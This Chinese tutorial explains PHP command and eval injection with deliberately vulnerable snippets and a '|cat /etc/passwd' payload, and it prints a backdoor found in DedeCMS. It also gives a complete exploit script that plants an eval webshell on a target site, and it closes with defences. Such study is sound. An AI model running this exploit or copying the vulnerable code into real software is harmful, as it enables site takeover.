PHP命令注入***
PHP命令注入***漏洞是PHP應用程序中常見的腳本漏洞之一,國內著名的Web應用程序Discuz!、DedeCMS等都曾經存在過該類型漏洞。本文描述了常見的PHP命令注入***漏洞存在形式和利用方法,結合漏洞實例進行分析和漏洞利用,并針對如何防范PHP命令注入***漏洞給出了可行的方法和建議。
Command Injection,即命令注入***,是指由于Web應用程序對用戶提交的數據過濾不嚴格,導致***可以通過構造特殊命令字符串的方式,將數據提交至Web應用程序中,并利用該方式執行外部程序或系統命令實施***,非法獲取數據或者網絡資源等。命令注入***最初被稱為Shell命令注入***,是由挪威一名程序員在1997年意外發現的,他通過構造命令字符串的方式從一個網站刪除網頁,就像從硬盤中刪除一個文件一樣簡單。下面我們結合PHP語言的特性,對PHP命令注入***進行簡要的分析和描述。
PHP命令注入***
PHP命令注入***存在的主要原因是Web應用程序員在應用PHP語言中一些具有命令執行功能的函數時,對用戶提交的數據內容沒有進行嚴格的過濾就帶入函數中執行而造成的。例如,當***提交的數據內容為向網站目錄寫入PHP文件時,就可以通過該命令注入***漏洞寫入一個PHP后門文件,進而實施進一步的******。
命令執行函數利用
在PHP中,可以實現執行外部程序或函數的命令執行函數包括以下5個函數。
1. System:system函數可以用來執行一個外部的應用程序并將相應的執行結果輸出,函數原型如下:
string system(string command, int &return_var)
其中,command是要執行的命令,return_var存放執行命令的執行后的狀態值。
按照PHP程序員的想法,命令執行函數的主要作用是可以通過命令執行函數與Web應用程序進行交互,通過Web應用程序執行外部程序或系統命令,如Web應用程序員想通過system函數獲取指定目錄的文件內容,那么他可以通過構造如下代碼實現。
<?
$dir = $_GET["dir"];
if(isset($dir))
{
echo "<pre>";
system("ls -al".$dir);
echo "</pre>";
}
?>
Web應用程序員可以通過提交不同的dir內容來獲取不同目錄下的文件信息,但是***可以通過使用下列URL來進行命令注入***:
file.php?dir=|cat /etc/passwd
結果system函數執行的命令就變成如下內容:
System(“ls –al|cat /etc/passwd”);
這個命令就會將/etc/passwd文件中的內容反饋給***。
同樣,構造PHP代碼如下:
<?
$cmd = $_GET["cmd"];
echo "<pre>";
system($cmd);
echo "</pre>";
?>
在瀏覽器中訪問這個PHP文件,并提交cmd的內容為“net start”,***目的是通過命令注入***查看Web服務器主機都開啟了哪些服務,訪問執行后返回的結果如下圖1所示:
圖1
2. Exec:exec函數可以用來執行一個外部的應用程序,函數原型如下:
string exec (string command, array &output, int &return_var)
其中,command是要執行的命令,output是獲得執行命令輸出的每一行字符串,return_var存放執行命令后的狀態值。
可以通過構造如下PHP代碼進行測試:
<?
$cmd = $_GET["cmd"];
$output = array();
echo "<pre>";
exec($cmd,$output);
echo "</pre>";
while(list($key,$value)=each($output))
{
echo $value."<br>";
}
?>
3. Passthru:passthru函數可以用來執行一個UNIX系統命令并顯示原始的輸出,當UNIX系統命令的輸出是二進制的數據,并且需要直接返回值給瀏覽器時,需要使用passthru函數來替代system與exec函數。Passthru函數原型如下:
void passthru (string command, int &return_var)
其中,command是要執行的命令,return_var存放執行命令后的狀態值。
可以通過構造如下PHP代碼進行測試:
<?
$cmd = $_GET["cmd"];
echo "<pre>";
passthru($cmd);
echo "</pre>";
?>
4. Shell_exec:執行shell命令并返回輸出的字符串,函數原型如下:
string shell_exec (string command)
其中,command是要執行的命令。
可以通過構造如下PHP代碼進行測試:
<?
$cmd = $_GET["cmd"];
echo "<pre>";
shell_exec($cmd);
echo "</pre>";
?>
5. ``運算符:與shell_exec功能相同,執行shell命令并返回輸出的字符串。
可以通過構造如下PHP代碼進行測試:
<?
$cmd = $_GET["cmd"];
$output = `$cmd`;
echo "<pre>";
echo $output;
echo "</pre>";
?>
Eval注入***利用
在PHP語言中,除了上述5種常見的命令執行函數可以導致命令注入***以外,還有另外一種命令注入***方式,我們稱之為eval注入***方式。Eval函數會將參數字符串作為PHP程序代碼來執行,用戶可以將PHP代碼保存成字符串的形式,然后傳遞給eval函數執行。Eval函數的原型如下:
Mixed eval(string code_str)
Code_str是PHP代碼字符串,***可以通過構造傳入eval函數中的全部或部分字符串的內容實現命令注入***。
為了測試eval命令注入***,我們構造PHP代碼如下:
<?
$cmd = $_GET["cmd"];
eval($cmd);
?>
然后我們提交cmd內容為“phpinfo();”,phpinfo函數的作用是查看當前php環境相關信息的函數。在瀏覽器中提交http://127.0.0.1/index.php?cmd=phpinfo();后,返回結果如下圖2所示。
圖2
我們發現我們提交的字符串“phpinfo();”經過eval函數的處理后,可以按照PHP函數進行執行,并將結果反饋給我們,那么執行相應的其他PHP函數,如寫入文件,查詢文件信息等功能的代碼字符串時,同樣可以執行。
PHP語言中的preg_replace函數、str_replace函數以及call_user_func函數同樣可以實現eval注入***的效果。這里我們以preg_replace函數作為例子進行描述,str_replace函數以及call_user_func函數實現的方法類似,大家可以參考網上對這兩個函數的描述自行測試。Preg_replace函數的作用是用來執行常規表達式的查找和替換的,函數原型如下:
Mixed preg_replace(mixed pattern, mixed replacement, mixed subject, int limit, int &count)
其中,Pattern是用來查找的常規表達式,replacement是用來替換的字符串,submit是要查找替換的字符串,limit是可以替換的字符串數,count是成功替換的數目。函數將返回替換后的字符串,當Pattern參數使用/e修正符時,preg_replace函數會將replacement參數當作 PHP代碼執行,那么,針對此種情況,當replacement內容為用戶可控數據時,就可能導致命令注入***漏洞的形成。為了測試preg_replace函數,我們構造PHP代碼如下:
<?
$string = "hello world";
$pattern = "/^/e";
echo preg_replace($pattern, $_GET["str"], $string);
?>
同樣在瀏覽器中提交http://127.0.0.1/index.php?str=phpinfo();,返回結果如下圖3所示,phpinfo()函數也被執行了。
圖3
漏洞實例分析
通過上述對常見PHP命令注入***存在的情況,我們結合實際漏洞存在情況,分析一下如何利用命令注入***漏洞。我們這里以國內著名的織夢網站管理系統(DeDeCMS)為例進行描述。
今年3月22日,織夢官方網站提供下載的織夢CMS(Dedecms) v5.7 sp1版本中的shopcar.class.php文件被植入一句后門代碼,如圖4所示:“@eval(file_get_contents('php://input'));”。
圖4
通過分析查看,我們發現代碼插入的位置為類MemberShops的構造函數中,而插入的代碼正好是我們上面描述存在命令注入***的eval函數,那么執行的內容是否為可控內容呢?php://input是一個輸入流,可以通過POST方式獲取相應的原始數據內容,也就是說eval函數執行的內容可以通過構造POST數據包的方式進行控制,也就導致了命令注入***漏洞的形成。那么,要如何利用這個漏洞實施***呢?后門代碼出現在MemberShops類的構造函數中,那么通過搜索程序中哪些地方使用了這個類就可以進行檢測,最簡單的方法就是找到沒有特殊條件直接執行new操作的頁面就可以了。這里使用plus目錄下的car.php文件,如圖5所示。
圖5
在car.php文件的第17行代碼處,我們發現了可以被我們利用的地方,那么結合我們剛剛的分析,我們構造一個POST數據包,內容如下圖6所示。
圖6
這里我們插入的數據內容是“echo "Command Injection Test";”,當數據執行到eval函數時,執行的相應操作為eval(echo "Command Injection Test";);,echo函數的功能是輸出相應的字符串,那么我們就可以根據服務器返回的數據包中觀察是否含有特征字符串“Command Injection Test”即可。當發現該字符串存在時,說明echo函數被執行了,也就說明命令注入***漏洞利用成功。我們在本地測試環境中使用NC對上述構造的POST數據包進行提交,返回的數據報文如下圖7所示。
圖7
從返回的數據內容中我們發現了我們定義的特征字符串“Command Injection Test”,也說明了echo函數被執行了,該命令注入***漏洞可以被成功利用。但是,我們又如何更好地利用這個命令注入***漏洞呢?簡單輸出一個字符串根本無法達到我們******網站的目的,那么我們繼續嘗試構造輸入的命令信息,嘗試寫入一個PHP文件,也就可以成功獲取網站的webshell。想寫入文件,我們也就想到了PHP中的fputs函數,我們構造提交的數據內容為“fputs(fopen('1.php','w+'),'<?php @eval(\$_POST[c])?>');”,這句代碼的作用是向目錄中寫入一個1.php的文件,并且文件的內容為“<?php @eval(\$_POST[c])?>”,這個也正是我們常說的PHP一句話***,為了實現該命令注入***漏洞利用的通用性,我們通過PHP構造一個漏洞利用程序,程序代碼如下:
<?php
if ($argc < 3) {
print_r("
+---------------------------------------------------------------------------+
Usage: php ".$argv[0]." host path
Example:
php ".$argv[0]." www.xxx.com /dedecms/
+---------------------------------------------------------------------------+
");
exit;
}
error_reporting(7);
ini_set("max_execution_time", 0);
$host = $argv[1];
$path = $argv[2];
$cmd = "echo \"exploitsuccess\"; fputs(fopen('1.php','w+'),'<?php @eval(\$_POST[c])?>');";
$resp = send($cmd);
if (eregi("exploitsuccess",$resp))
{
echo "[+] Exploit Success!\n";
echo "[+] Webshell: http://".$host.$path."plus/1.php\n";
echo "[+] Webshell Password: c\n";
}else{
echo "[-] Exploit failed!\n";
}
function send($cmd)
{
global $host, $path;
$message = "POST ".$path."plus/car.php HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Referer: http://$host$path\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)\r\n";
$message .= "Host: $host\r\n";
$message .= "Content-Length: ".strlen($cmd)."\r\n";
$message .= "Cookie: PHPSESSID=7qmtag178ilo7gep29ubj4n3a1;
OrdersId=UAcELgBRBDNZPAszAWBTal5rBWQANQ86BzANUlcfVTYBNlBg\r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $cmd;
$fp = fsockopen($host, 80);
fputs($fp, $message);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
?>
該漏洞利用程序的作用是用戶只需要將網站網站域名和dedecms的路徑輸入即可,程序會自動實現漏洞利用,寫入webshell,并將相關信息進行反饋,對本地環境測試的結果如下圖8所示:
圖8
結果顯示我們成功獲取webshell,連接地址為http://127.0.0.1/dede/plus/1.php,密碼為c。使用工具連接該webshell地址可以成功連接并獲取網站目錄及文件的相關信息,如下圖9所示。
圖9
PHP命令注入***漏洞的防范
通過上面的分析和描述,我們發現PHP中命令注入***漏洞帶來的危害和影響很嚴重。防范命令注入***漏洞的存在可以通過以下幾種方法。
1. 盡量不要執行外部的應用程序或命令。
2. 使用自定義函數或函數庫實現外部應用程序或命令的功能。
3. 在執行system、eval等命令執行功能的函數前,確定參數內容。
4. 使用escapeshellarg函數處理相關參數。Escapeshellarg函數會將任何引起參數或命令結束的字符進行轉義,如單引號“’”會被轉義為“\’”,雙引號“””會被轉義為“\””,分號“;”會被轉義為“\;”,這樣escapeshellarg會將參數內容限制在一對單引號或雙引號里面,轉義參數中所包含的單引號或雙引號,使其無法對當前執行進行截斷,實現防范命令注入***的目的。
5. 使用safe_mode_exec_dir執行可執行的文件路徑。將php.ini文件中的safe_mode設置為On,然后將允許執行的文件放入一個目錄中,并使用safe_mode_exec_dir指定這個可執行的文件路徑。這樣,在需要執行相應的外部程序時,程序必須在safe_mode_exec_dir指定的目錄中才會允許執行,否則執行將失敗。
PHP命令注入***漏洞是PHP應用程序常見漏洞之一。國內著名的PHP應用程序,如discuz!、dedecms等大型程序在網絡中均被公布過存在命令注入***漏洞,***可以通過命令注入***漏洞快速獲取網站權限,進而實施掛馬、釣魚等惡意***,造成的影響和危害十分巨大。同時,目前PHP語言應用于Web應用程序開發所占比例較大,Web應用程序員應該了解命令注入***漏洞的危害,修補程序中可能存在的被***利用的漏洞情況,保護網絡用戶的安全,免受掛馬、釣魚等惡意代碼的***
轉載于:https://blog.51cto.com/putian/1230650
總結
以上是生活随笔為你收集整理的PHP命令注入***的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【RK3399Pro学习笔记】十五、RO
- 下一篇: python飞机大战源代码百度云_Pyt